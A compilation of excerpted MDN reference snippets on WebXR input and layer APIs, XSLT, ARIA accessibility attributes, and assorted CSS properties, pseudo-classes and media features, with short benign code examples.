...you shouldn't use this non-standard (and, as of firefox 68, entirely removed) api; instead, consider using the fetch api with readable streams, which offers a standard alternative to accessing the response in a streaming fashion.
XRInputSource.profiles - Web APIs
the read-only xrinputsource property profiles returns an array of strings, each describing a configuration profile for the input source.
... syntax let profilelist = xrinputsource.profiles; value an array of domstring objects, each describing one configuration profile for the input device represented by the xrinputsource object.
... each input profile specifies the preferred visual representation and behavior of the input source.
...each string: has no spaces; instead, words are separated by hyphen ("-") characters if the platform makes it available, the usb vendor and product id may be provided but cannot be relied upon does not uniquely identify a specific device; rather, it identifies a configuration that the product is capable of using does not provide information about handedness of the device, if applicable the webxr input profiles registry is used by device developers and browser developers to attempt to ensure that a given device will report the same profile strings regardless of which browser or other user agent you use.
XRInputSourceEvent() - Web APIs
the xrinputsourceevent() constructor creates and returns a new xrinputsourceevent object describing an event (state change) which has occurred on a webxr user input device represented by an xrinputsource.
... syntax newinputsourceevent = new xrinputsourceevent(type, eventinitdict); parameters type a domstring indicating which of the input source events the new object will represent.
... eventinitdict an object based on the xrinputsourceeventinit dictionary which contains the values to assign to the new event's properties.
... selectstart sent to an xrsession when an input source begins its primary action, indicating that the user has begun a command-like input, such as pressing a trigger or button, issuing a spoken command, tapping on a touchpad, or the like.
XRInputSourceEventInit.frame - Web APIs
the xrinputsourceeventinit dictionary's property frame specifies an xrframe providing information about the timestamp at which the new input source event took place, as well as access to the xrframe method getpose() which can be used to map the coordinates of any xrreferencespace to the space in which the event took place.
... syntax xrinputsourceeventinit.frame = xrframe; let xrinputsourceeventinit = { frame: xrframe }; let xrinputsourceevent = new xrinputsourceevent(type, { frame: xrframe }); value an xrframe indicating the time at which the event took place, and providing a getpose() method which can be used to map reference spaces to the world reference space.
...instead, the xrframe specified by the frame property is simply a method to provide access to the getpose() method, which you can use to get the relative positions of the objects in the scene at the time the event occurred.
... let event = new xrinputsourceevent("select", { frame: eventframe, inputsource: source }; if (event) { xrsession.dispatchevent(event); } specifications specification status comment webxr device apithe definition of 'xrinputsourceeventinit.frame' in that specification.
XRReferenceSpaceEvent() - Web APIs
the xrreferencespaceevent() constructor is used to create a new xrreferencespaceevent object, which represents an event regarding the state of a webxr reference space object, xrreferencespace.
... syntax let refspaceevent = new xrreferencespaceevent(type, eventinitdict); parameters type a domstring indicating the event type which has occurred.
...the properties of this object are: referencespace the xrreferencespace from which the event originated.
... transform an xrrigidtransform which maps the old coordinate system (from before the changes indicated by this event) to the new coordiante system.
XRRenderState.baseLayer - Web APIs
this property is read-only; however, you can indirectly change its value using xrsession.updaterenderstate.
... syntax var xrwebgllayer = xrrenderstate.baselayer; value a xrwebgllayer object which is used as the source of the world's contents when rendering each frame of the scene.
...enderstate(), like this: let canvas = document.queryselector("canvas"); gl = canvas.getcontext("webgl", { xrcompatible: true }); setnewwebgllayer(); function setnewwebgllayer(gl) { if (!gl) { /* webgl not available */ return; } xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl); }); }; here, the canvas obtained in the first line is the canvas into which webgl is going to draw.
... that context is passed into new xrwebgllayer() to create an xrwebgllayer which uses the contents of the webgl context gl as the source of the world's image during presentation.
XRRigidTransform() - Web APIs
syntax let xrrigidtransform = new xrrigidtransform(position, orientation); parameters position optional an object conforming to dompointinit which specifies the coordinates at which the point or object is located.
... orientation optional an object conforming to dompointinit which specifies the direction in which the object is facing.
... return value a new xrrigidtransform object which has been initialized to represent a transform matrix that would adjust the position and orientation of an object from the origin to the specified position and facing in the direction indicated by orientation.
...ationframerequestid = 0; xrsession.requestreferencespace("local-floor") .then((refspace) => { xrreferencespace = refspace.getoffsetreferencespace( new xrrigidtransform(viewerposition, viewerorientation)); animationframerequestid = xrsession.requestanimationframe(drawframe); }); after requesting a reference space of type local-floor, the returned promise is eventually resolved, at which time we receive a new reference space object, refspace.
XRRigidTransform - Web APIs
even better, once it's been computed, it's cached so that subsequent requests are significantly faster.
... constructor new xrrigidtransform() creates a new xrrigidtransform object which represents a transform that applies a specified position and/or orientation.
... xrrigidtransform.orientation read only a dompointreadonly which contains a unit quaternion describing the rotational component of the transform.
... xrrigidtransform.inverse read only returns a xrrigidtransform which is the inverse of this transform.
XRSession.inputSources - Web APIs
the read-only inputsources property of the xrsession interface returns an xrinputsourcearray object which lists all controllers and input devices which are expressly associated with the xr device and are currently available.
... syntax inputsources = xrsession.inputsources; value an xrinputsourcearray object listing all of the currently-connected input controllers which are linked specifically to the xr device currently in use.
... the returned object is live; as devices are connected to and removed from the user's system, the list's contents update to reflect the changes.
... usage notes you can add a handler for the xrsession event inputsourceschange to be advised when the contents of the session's connected devices list changes.
XRWebGLLayer.antialias - Web APIs
the read-only xrwebgllayer property antialias is a boolean value which is true if the rendering layer's frame buffer supports antialiasing.
...the specific antialiasing technique used is left to the user agent's discretion and cannot be specified by the web site or web app.
... syntax let antialiasingsupported = xrwebgllayer.antialias; value a boolean value which is true if the webgl rendering layer's frame buffer is configured to support antialiasing.
... examples this snippet checks the value of antialias to see if it should perform additional work to attempt to compensate for the lack of antialiasing on the webgl layer.
XRWebGLLayerInit.alpha - Web APIs
the alpha property is a boolean value which, if present and set to true in the xrwebgllayerinit dictionary passed into the xrwebgllayer() constructor, specifies that the new layer's color buffer is to include an alpha channel.
... otherwise, the color buffer won't have an alpha channel.
... syntax let layerinit = { alpha: boolvalue }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { alpha: boolvalue }); value a boolean which can be set to true to request that the new webgl layer for rendering the webxr scene is to have an alpha channel.
... example in this example, a new xrwebgllayer is created for a webxr session, xrsession, without an alpha channel.
XRWebGLLayerInit.ignoreDepthValues - Web APIs
without the depth buffer, these computations must rely entirely on the coordinates of each pixel.
... syntax let layerinit = { ignoredepthvalues: boolvalue }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { ignoredepthvalues: boolvalue }); value a boolean value which can be set to true to disable the use of the depth buffer by the webgl rendering layer created by the xrwebgllayer() constructor.
...each entry in the depth buffer corresponds to the depth of the fragment whose color is at the same location in the color buffer, and must have a value between 0.0 and 1.0, where 0.0 corresponds to the distance specified in the xrsession object's renderstate record's depthnear and 1.0 represents the distance given by depthfar.
...it's configured to ignore depth values or an alpha channel.
XSLT Basic Example - Web APIs
an xslt stylesheet starts with the xsl:stylesheet element, which contains all the templates used to create the final output.
... the example in figure 1 has two templates - one that matches the root node and one that matches author nodes.
... the template that matches the root node outputs the article's title and then says to process all templates (via apply-templates) that match author nodes which are children of the authors node.
...bar</author> </authors> <body>this is my article text.</body> </article> xsl stylesheet (example.xsl) : <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/xsl/transform"> <xsl:output method="text"/> <xsl:template match="/"> article - <xsl:value-of select="/article/title"/> authors: <xsl:apply-templates select="/article/authors/author"/> </xsl:template> <xsl:template match="author"> - <xsl:value-of select="." /> </xsl:template> </xsl:stylesheet> browser output : article - my article authors: - mr.
msRegionOverflow - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
...this means that the region is the last one in the region chain and not able to fit the remaining content from the named flow.
...if the region is the last one in the region chain, it means that the content fits without overflowing.
... if the region is not the last one in the region chain, that means the named flow content is further fitted in subsequent regions.
Using the aria-describedby attribute - Accessibility
value a space-separated list of element ids possible effects on user agents and assistive technology note: opinions may differ on how assistive technology should handle this technique.
... <div role="application" aria-labelledby="calendar" aria-describedby="info"> <h1 id="calendar">calendar</h1> <p id="info"> this calendar shows the game schedule for the boston red sox.
... <div id="descriptionclose">closing this window will discard any information entered and return you back to the main page</div> working examples: checkbox example uses aria-describedby tooltip example uses aria-describedby notes the aria-describedby attributed is not designed to reference descriptions on an external resource—since it is an id, it must reference an element in the same dom document.
... used by aria roles all elements of the base markup related aria techniques using the aria-labelledby attribute compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for aria-describedby ...
Using the aria-required attribute - Accessibility
value true or false (default: false) possible effects on user agents and assistive technology screen readers should announce the field as required.
... note that this attribute will not automatically change the presentation of the field.
... note: opinions may differ on how assistive technology should handle this technique.
...name:</label> <input id="lastname" type="text" aria-required="true" /> <br/> <label for="streetaddress">street address:</label> <input id="streetaddress" type="text" /> </form> working examples: tooltip example (includes the use of the aria-required attribute) notes used in aria roles combobox gridcell listbox radiogroup spinbutton textbox tree related aria techniques using the aria-invalid attribute compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for aria-required wai-aria authoring practices for forms constraint validation in html5 ...
Using the aria-valuemax attribute - Accessibility
description the aria-valuemax attribute is used to define the maximum value allowed for a range widget such as a slider, spinbutton or progressbar.
... value string representation of a number possible effects on user agents and assistive technology if the aria-valuemax is indeterminate, or if aria-valuemin is not less than or equal to the value of aria-valuemax, this creates an error condition that will be handled by the assistive technology.
... note: opinions may differ on how assistive technology should handle this technique.
... <div role="slider" aria-valuenow="4" aria-valuemin="1" aria-valuemax="10"> working examples: progressbar example slider example spinbutton example notes used with aria roles progressbar scrollbar slider spinbutton related aria techniques aria-valuemin aria-valuenow aria-valuetext compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-valuemax attribute ...
Using the aria-valuemin attribute - Accessibility
the aria-valuemin attribute is used to define the minimum value allowed for a range widget such as a slider, spinbutton or progressbar.
... value string representation of a number possible effects on user agents and assistive technology if aria-valuemin is not less than or equal to the value of aria-valuemax, this creates an error condition that will be handled by the assistive technology.
... note: opinions may differ on how assistive technology should handle this technique.
... <div role="slider" aria-valuenow="4" aria-valuemin="1" aria-valuemax="10"> working examples: progressbar example slider example spinbutton example notes used with aria roles progressbar scrollbar slider spinbutton related aria techniques aria-valuemax aria-valuenow aria-valuetext compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-valuemin attribute ...
ARIA: figure role - Accessibility
description any content that should be grouped together and consumed as a figure (which could include images, video, audio, code snippets, or other content) can be identified as a figure using role="figure".
...for example, make sure it is perceivable by users of assistive technology, navigable by keyboard as well as mouse, and so on.
... <figcaption>text that describes the figure.</figcaption> </figure> if you don't want the label to be visible on the screen, but still want to provide a descriptive label for assistive technology users, you can use the aria-label attribute on the figure container: <div role="figure" aria-label="text that describes the figure."> ...
... <img src="diagram.png" alt="diagram showing the four layers of awesome and their relative priority order — music, cats, nature, and ice cream"> <pre><code> let awesome = ['music', 'cats', 'nature', 'ice cream']; </code></pre> <figcaption>figure 1: the four layers of awesome.</figcaption> </figure> specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'figure' in that specification.
Multipart labels: Using ARIA for labels with embedded fields inside them - Accessibility
example: shut down computer after minutes <input aria-labelledby="labelshutdown shutdowntime shutdownunit" type="checkbox" /> <span id="labelshutdown">shut down computer after</span> <input aria-labelledby="labelshutdown shutdowntime shutdownunit" id="shutdowntime" type="text" value="10" /> <span id="shutdownunit"> minutes</span> a note for jaws 8 users jaws 8.0 has its own logic to find labels, causing it to always override the accessiblename the textbox of an html document gets.
...it is very useful and shows that some techniques that have been available for years escape even the gurus sometimes.
... this technique works in firefox; however, it doesn't currently work in many other browsers, including ie.
... for labels with embedded form controls, using aria-labelledby is still the best approach.
Accessibility FAQ - Accessibility
firefox 3 accessibility features (archive.org) which assistive technologies support firefox and thunderbird?
... assistive technology compatibility - documents assistive technologies for windows, linux, unix, mac os x and the degree of compatibility with firefox what can i do to make sure my mozilla extensions are accessible?
... in general, use the accessible toolkit checklist (archive.org).
... for interface design with xul, follow the accessibile xul authoring guidelines (archive.org).
-moz-context-properties - CSS: Cascading Style Sheets
the -moz-context-properties property can be used within privileged contexts in firefox to share the values of specified properties of the element with a child svg image.
... if you reference an svg image in a webpage (such as with the <img> element or as a background image), the svg image can coordinate with the embedding element (its context) to have the image adopt property values set on the embedding element.
... to do this the embedding element needs to list the properties that are to be made available to the image by listing them as values of the -moz-context-properties property, and the image needs to opt in to using those properties by using values such as the context-fill value.
... fill='context-fill red' stroke='context-stroke' fill-opacity='0.5'/></svg>"> here we've set the image src to a data uri containing a simple svg image; the <rect> inside has been made to take its fill and stroke values from the fill and stroke set on the <img> element by giving them the context-fill/context-stroke keywords in their values, along with a fallback color for the fill (red) which will be used in the case that the svg is loaded standalone in a top-level window (where it will have no context element to provide context values).
-webkit-line-clamp - CSS: Cascading Style Sheets
when applied to anchor elements, the truncating can happen in the middle of the text, not necessarily at the end.
...the css overflow module level 3 specification also defines a line-clamp property, which is meant to replace this property and avoid its issues.
... <integer> this value specifies the number of lines after which the content will be clamped.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax none | <integer> examples truncating a paragraph html <p> in this example the <code>-webkit-line-clamp</code> property is set to <code>3</code>, which means the text is clamped after three lines.
-webkit-mask-box-image - CSS: Cascading Style Sheets
initial value: none applies to: all elements inherited: no media: visual computed value: as specified syntax -webkit-mask-box-image: <mask-box-image> [<top> <right> <bottom> <left> <x-repeat> <y-repeat>] where: <mask-box-image> <uri> | <gradient> | none <top> <right> <bottom> <left> <length> | <percentage> <x-repeat> <y-repeat> repeat | stretch | round | space values <uri> the location of the image resource to be used as a mask image.
... stretch the mask image is stretched to contain the border box exactly.
... round the mask image is stretched somewhat and repeated such that there is no partial mask image at the end of the border box.
... space the mask image is repeated as many times as possible without stretching.
-webkit-mask-repeat-x - CSS: Cascading Style Sheets
space the image is repeated as much as possible without clipping.
... round as the allowed space increases in size, the repeated images will stretch (leaving no gaps) until there is room for another one to be added.
...example: an image with an original width of 260px, repeated three times, might stretch until each repetition is 300px wide, and then another image will be added.
...specifiedanimation typediscrete formal syntax repeat | no-repeat | space | round examples using a repeating or non-repeating mask image .exampleone { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-x: repeat; } .exampletwo { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-x: no-repeat; } using multiple mask images you can specify a different <repeat-style> for each mask image, separated by commas: .examplethree { -webkit-mask-image: url('mask1.png'), url('mask2.png'); -webkit-mask-repeat-x: repeat, space; } each image is matched with the corresponding repeat style, from first specified to last.
-webkit-mask-repeat-y - CSS: Cascading Style Sheets
space the image is repeated as much as possible without clipping.
... round as the allowed vertical space increases in size, the repeated images will stretch (leaving no gaps) until there is room for another one to be added.
...example: an image with an original height of 260px, repeated three times, might stretch until each repetition is 300px high, and then another image will be added.
...ercentageanimation typediscrete formal syntax repeat | no-repeat | space | round examples using a repeating or non-repeating mask image .exampleone { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-y: repeat; } .exampletwo { -webkit-mask-image: url('mask.png'); -webkit-mask-repeat-y: no-repeat; } using multiple mask images you can specify a different <repeat-style> for each mask image, separated by commas: .examplethree { -webkit-mask-image: url('mask1.png'), url('mask2.png'); -webkit-mask-repeat-y: repeat, space; } each image is matched with the corresponding repeat style, from first specified to last.
:-moz-first-node - CSS: Cascading Style Sheets
the :-moz-first-node css pseudo-class is a mozilla extension that represents any element that is the first child node of some other element.
... it differs from :first-child because it does not match a first-child element with (non-whitespace) text before it.
... syntax :-moz-first-node examples css span:-moz-first-node { background-color: lime; } html <p> <span>this matches!</span> <span>this doesn't match.</span> </p> <p> blahblah.
... <span>this doesn't match because it's preceded by text.</span> </p> result specifications not part of any standard.
:-moz-ui-invalid - CSS: Cascading Style Sheets
if the element is required, the preceding rules apply only if the user has changed the value or attempted to submit the form.
... the result is that if the control was valid when the user started interacting with it, the validity styling is changed only when the user shifts focus to another control.
...required items have the pseudo-class applied only if the user changes them or attempts to submit an unchanged valid value.
... by default, gecko applies a style that creates a red "glow" (using the box-shadow property) around items, which have this pseudo-class applied.
::marker - CSS: Cascading Style Sheets
WebCSS::marker
the ::marker css pseudo-element selects the marker box of a list item, which typically contains a bullet or number.
... it works on any element or pseudo-element set to display: list-item, such as the <li> and <summary> elements.
... syntax ::marker examples html <ul> <li>peaches</li> <li>apples</li> <li>plums</li> </ul> css ul li::marker { color: red; font-size: 1.5em; } result specifications specification status comment css pseudo-elements level 4the definition of '::marker' in that specification.
... working draft no significant change.
:active - CSS: Cascading Style Sheets
WebCSS:active
the :active css pseudo-class represents an element (such as a button) that is being activated by the user.
... working draft no change.
... recommendation no change.
... recommendation no change.
:any-link - CSS: Cascading Style Sheets
WebCSS:any-link
the :any-link css pseudo-class selector represents an element that acts as the source anchor of a hyperlink, independent of whether it has been visited.
... in other words, it matches every <a>, <area>, or <link> element that has an href attribute.
... thus, it matches all elements that match :link or :visited.
... /* selects any element that would be matched by :link or :visited */ :any-link { color: green; } syntax :any-link examples html <a href="https://example.com">external link</a><br> <a href="#">internal target link</a><br> <a>placeholder link (won't get styled)</a> css a:any-link { border: 1px solid blue; color: orange; } /* webkit browsers */ a:-webkit-any-link { border: 1px solid blue; color: orange; } result specifications specification status comment selectors level 4the definition of ':any-link' in that specification.
:enabled - CSS: Cascading Style Sheets
WebCSS:enabled
the element also has a disabled state, in which it can't be activated or accept focus.
...this helps the user understand which elements can be interacted with.
... living standard no change.
... working draft no change.
:hover - CSS: Cascading Style Sheets
WebCSS:hover
the :hover css pseudo-class matches when the user interacts with an element with a pointing device, but does not necessarily activate it.
... note: the :hover pseudo-class is problematic on touchscreens.
... depending on the browser, the :hover pseudo-class might never match, match only for a moment after touching an element, or continue to match even after the user has stopped touching and until the user touches another element.
... note: for an analogous effect, but based on the :checked pseudo-class (applied to hidden radioboxes), see this demo, taken from the :checked reference page.
:nth-last-of-type() - CSS: Cascading Style Sheets
the :nth-last-of-type() css pseudo-class matches elements of a given type, based on their position among a group of siblings, counting from the end.
... syntax the nth-last-of-type pseudo-class is specified with a single argument, which represents the pattern for matching elements, counting from the end.
... see :nth-last-child for a more detailed explanation of its syntax.
... working draft matching elements are not required to have a parent.
:nth-of-type() - CSS: Cascading Style Sheets
the :nth-of-type() css pseudo-class matches elements of a given type (tag name), based on their position among a group of siblings.
... /* selects every fourth <p> element among any group of siblings */ p:nth-of-type(4n) { color: lime; } syntax the nth-of-type pseudo-class is specified with a single argument, which represents the pattern for matching elements.
... see :nth-child for a more detailed explanation of its syntax.
... working draft matching elements are not required to have a parent.
src - CSS: Cascading Style Sheets
WebCSS@font-facesrc
<font-face-name> specifies the name of a locally-installed font face using the local() function, which uniquely identifies a single font face within a larger family.
... as with other urls in css, the url may be relative, in which case it is resolved relative to the location of the style sheet containing the @font-face rule.
...fragment identifiers are used to indicate which font to load.
... if a container format lacks a defined fragment identifier scheme, a simple 1-based indexing scheme (e.g., "font-collection#1" for the first font, "font-collection#2" for the second font, etc.) is used.
@import - CSS: Cascading Style Sheets
WebCSS@import
note that the url for a mozilla package need not actually specify a file; it can just specify the package name and part, and the appropriate file is chosen automatically (e.g.
... chrome://communicator/skin/).
... description imported rules must precede all other types of rules, except @charset rules; as it is not a nested statement, @import cannot be used inside conditional group at-rules.
...<mf-value>where <mf-name> = <ident><mf-value> = <number> | <dimension> | <ident> | <ratio> examples importing css rules @import 'custom.css'; @import url("chrome://communicator/skin/"); importing css rules conditionally @import url("fineprint.css") print; @import url("bluish.css") speech; @import "common.css" screen; @import url('landscape.css') screen and (orientation:landscape); specifications specification status comment css cascading and inheritance level 4the definition of 'the @import rule' in that specification.
any-hover - CSS: Cascading Style Sheets
WebCSS@mediaany-hover
the any-hover css media feature can be used to test whether any available input mechanism can hover over elements.
... syntax the any-hover feature is specified as a keyword value chosen from the list below.
... none none of the available input mechanism(s) can hover conveniently, or there is no pointing input mechanism.
... hover one or more available input mechanisms can conveniently hover over elements.
aspect-ratio - CSS: Cascading Style Sheets
examples the example below is contained in an <iframe>, which creates its own viewport.
... html <div id='inner'> watch this element as you resize your viewport's width and height.
...ep="5" value="165"> <label id="hf" for="w">height:165</label> <input id="h" name="h" type="range" min="100" max="250" step="5" value="165"> <iframe id="outer" src="data:text/html,<style> @media (min-aspect-ratio: 8/5) { div { background: %239af; } } @media (max-aspect-ratio: 3/2) { div { background: %239ff; } } @media (aspect-ratio: 1/1) { div { background: %23f9a; } }</style><div id='inner'> watch this element as you resize your viewport's width and height.</div>"> </iframe> css iframe{ display:block; } javascript outer.style.width=outer.style.height="165px" w.onchange=w.oninput=function(){ outer.style.width=w.value+"px" wf.textcontent="width:"+w.value } h.onchange=h.oninput=function(){ outer.style.height=h.value+"px" hf.textcontent="height:"+h.value } result specif...
... candidate recommendation no change.
aural - CSS: Cascading Style Sheets
WebCSS@mediaaural
the aural css media type is used for devices that have speech output capabilities.
... note: this media type has been deprecated in favor of speech.
... syntax the aural css media type—which has been deprecated in favor of the speech media type—was used to specify a block of css that applied only when the content is being presented using a speech synthesis device.
... @media aural { /* speech-specific styles here */ } updating existing css to use the speech media type should be as simple as replacing aural with speech.
forced-colors - CSS: Cascading Style Sheets
the forced-colors css media feature is used to detect if the user agent has enabled a forced colors mode where it enforces a user-chosen limited color palette on the page.
... note: this feature is not supported by any user agent and its specifics are subject to change.
...the browser provides the color palette to authors through the css system color keywords and, if appropriate, it triggers the appropriate value of prefers-color-scheme so that authors can adapt the page.
... user preferences currently no user agent implements this feature, although various operating systems do support such preferences and if this media query is ever implemented user agents will likely rely on the settings provided by the operating system in use.
hover - CSS: Cascading Style Sheets
WebCSS@mediahover
the hover css media feature can be used to test whether the user's primary input mechanism can hover over elements.
... syntax the hover feature is specified as a keyword value chosen from the list below.
... none the primary input mechanism cannot hover at all or cannot conveniently hover (e.g., many mobile devices emulate hovering when the user performs an inconvenient long tap), or there is no primary pointing input mechanism.
... hover the primary input mechanism can conveniently hover over elements.
scan - CSS: Cascading Style Sheets
WebCSS@mediascan
the word scanning used in this context does not refer to an image scanner, such as one used to digitize a photograph.
... rather, it means the process by which an image is painted onto a television screen (or other device).
... syntax the scan feature is specified as a single keyword value chosen from the list below.
... candidate recommendation no change.
Box alignment in Flexbox - CSS: Cascading Style Sheets
as this page aims to detail things which are specific to flexbox and box alignment, it should be read in conjunction with the main box alignment page which details the common features of box alignment across layout methods.
... however, in flexbox you can change the main axis by setting flex-direction to column.
... on the cross axis align-self makes sense as we potentially have additional space in the flex container in that dimension, in which a single item can be moved to the start and end.
... reference css properties justify-content align-content place-content justify-items align-items place-items align-self row-gap column-gap gap glossary entries cross axis main axis guides alignment in flexbox external resources box alignment cheatsheet css grid, flexbox and box alignment thoughts on partial implementations of box alignment ...
Handling Overflow in Multicol - CSS: Cascading Style Sheets
if you want an image to size down to fit the column box, the standard responsive images solution of setting max-width: 100% will achieve that for you.
... more columns than will fit how overflowing columns are handled depends on whether you are in a fragmented media context, such as print, or a continuous media context, such as a web page.
... using vertical media queries one issue with multicol on the web is that, if your columns are taller than the viewport, the reader will need to scroll up and down to read, which is not good user experience.
... in the example below we have used a min-height query to check the height before applying the column properties.
CSS Overflow - CSS: Cascading Style Sheets
this is the overflow of painting effects which do not affect layout or otherwise extend the scrollable overflow region, such as box shadows, border images, text decoration, overhanging glyphs, outlines, etc.
...this is the content appearing outside of the box for which scrolling mechanisms need to be provided.
... basic example the following interactive example shows how changing the value of the overflow property, changes how the overflow of a fixed height box is dealt with.
... working draft changed syntax to allow one or two keywords instead of only one css level 2 (revision 1)the definition of 'overflow' in that specification.
Class selectors - CSS: Cascading Style Sheets
the css class selector matches elements based on the contents of their class attribute.
... working draft no changes selectors level 3the definition of 'class selectors' in that specification.
... recommendation css level 2 (revision 1)the definition of 'child selectors' in that specification.
... recommendation css level 1the definition of 'child selectors' in that specification.
Inline formatting context - CSS: Cascading Style Sheets
in the example below, the two (<div>) elements with the black borders form a block formatting context, inside which each word participates in an inline formatting context.
... alignment in the block direction inline boxes may be aligned in the block direction in different ways, using the vertical-align property, which will align on the block axis in vertical writing modes (therefore not vertically at all!).
...i have used the value top, try changing it to middle, bottom, or baseline.
...try changing the value of text-align below to end.
border-block-start - CSS: Cascading Style Sheets
the physical border to which it maps depends on the element's writing mode, directionality, and text orientation.
... related properties are border-block-end, border-inline-start, and border-inline-end, which define the other borders of the element.
... formal definition initial valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumborder-style: as each of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: nonecolor: varies from one browser to anotherapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:border-wid...
...th: as each of the properties of the shorthand:border-bottom-width: the absolute length or 0 if border-bottom-style is none or hiddenborder-left-width: the absolute length or 0 if border-left-style is none or hiddenborder-right-width: the absolute length or 0 if border-right-style is none or hiddenborder-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-style: as each of the properties of the shorthand:border-bottom-style: as specifiedborder-left-style: as specifiedborder-right-style: as specifiedborder-top-style: as specifiedborder-block-start-color: computed coloranimation typeas each of the properties of the shorthand:border-block-start-color: a colorborder-block-start-style: discreteborder-block-start-width: a length formal syntax <'border-top-width'> | <'...
border-bottom - CSS: Cascading Style Sheets
formal definition initial valueas each of the properties of the shorthand:border-bottom-width: mediumborder-bottom-style: noneborder-bottom-color: currentcolorapplies toall elements.
... it also applies to ::first-letter.inheritednocomputed valueas each of the properties of the shorthand:border-bottom-width: the absolute length or 0 if border-bottom-style is none or hiddenborder-bottom-style: as specifiedborder-bottom-color: computed coloranimation typeas each of the properties of the shorthand:border-bottom-color: a colorborder-bottom-style: discreteborder-bottom-width: a length formal syntax <line-width> | <line-style> | <color>where <line-width> = <length> | thin | medium | thick<line-style> = none | hidden | dotted | dashed | solid | double | groove | ridge | inset | outset<color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
... candidate recommendation no direct changes, though the modification of values for the border-bottom-color do apply to it.
... recommendation no significant changes.
border-inline-start - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: border-inline-start-color border-inline-start-style border-inline-start-width syntax border-inline-start: 1px; border-inline-start: 2px dotted; border-inline-start: medium dashed green; the physical border to which border-inline-start maps depends on the element's writing mode, directionality, and text orientation.
... related properties are border-block-start, border-block-end, and border-inline-end, which define the other borders of the element.
... formal definition initial valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumborder-style: as each of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: nonecolor: varies from one browser to anotherapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:border-wi...
...dth: as each of the properties of the shorthand:border-bottom-width: the absolute length or 0 if border-bottom-style is none or hiddenborder-left-width: the absolute length or 0 if border-left-style is none or hiddenborder-right-width: the absolute length or 0 if border-right-style is none or hiddenborder-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-style: as each of the properties of the shorthand:border-bottom-style: as specifiedborder-left-style: as specifiedborder-right-style: as specifiedborder-top-style: as specifiedborder-inline-start-color: computed coloranimation typeas each of the properties of the shorthand:border-inline-start-color: a colorborder-inline-start-style: discreteborder-inline-start-width: a length formal syntax <'border-top-width'>...
border-inline - CSS: Cascading Style Sheets
border-inline: 1px; border-inline: 2px dotted; border-inline: medium dashed blue; the physical borders to which border-inline maps depends on the element's writing mode, directionality, and text orientation.
... the borders in the other dimension can be set with border-block, which sets border-block-start, and border-block-end.
... initial valueas each of the properties of the shorthand:border-top-width: mediumborder-top-style: noneborder-top-color: currentcolorapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:border-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-top-style: as specifiedborder-top-color: computed coloranimation typediscrete constituent properties this property is a shorthand for the following css properties: border-inline-color border-inline-style border-inline-width syntax values the border-inline is specified with one or more of the following, in any order: <'border-width'> the width of the border.
... formal definition initial valueas each of the properties of the shorthand:border-top-width: mediumborder-top-style: noneborder-top-color: currentcolorapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:border-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-top-style: as specifiedborder-top-color: computed coloranimation typediscrete formal syntax <'border-top-width'> | <'border-top-style'> | <'color'>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
border-left-width - CSS: Cascading Style Sheets
if it's a keyword, it must be one of the following values: thin a thin border medium a medium border thick a thick border note: because the specification doesn't define the exact thickness denoted by each keyword, the precise result when using one of them is implementation-specific.
...it also applies to ::first-letter.inheritednocomputed valuethe absolute length or 0 if border-left-style is none or hiddenanimation typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples comparing border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-left-width: thick; } div:nth-child(2) { border-left-width: 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-left-width' in that specification.
... candidate recommendation no significant change.
... recommendation no significant change.
border-radius - CSS: Cascading Style Sheets
note: as with any shorthand property, individual sub-properties cannot inherit, such as in border-radius:0 0 inherit inherit, which would partially override existing definitions.
... values radius is a <length> or a <percentage> denoting a radius to use for the border in each corner of the border.
...is equivalent to: */ border-top-left-radius: 4px 2px; border-top-right-radius: 3px 4px; border-bottom-right-radius: 6px 2px; border-bottom-left-radius: 3px 4px; formal definition initial valueas each of the properties of the shorthand:border-top-left-radius: 0border-top-right-radius: 0border-bottom-right-radius: 0border-bottom-left-radius: 0applies toall elements; but user agents are not required to apply to table and inline-table elements when border-collapse is collapse.
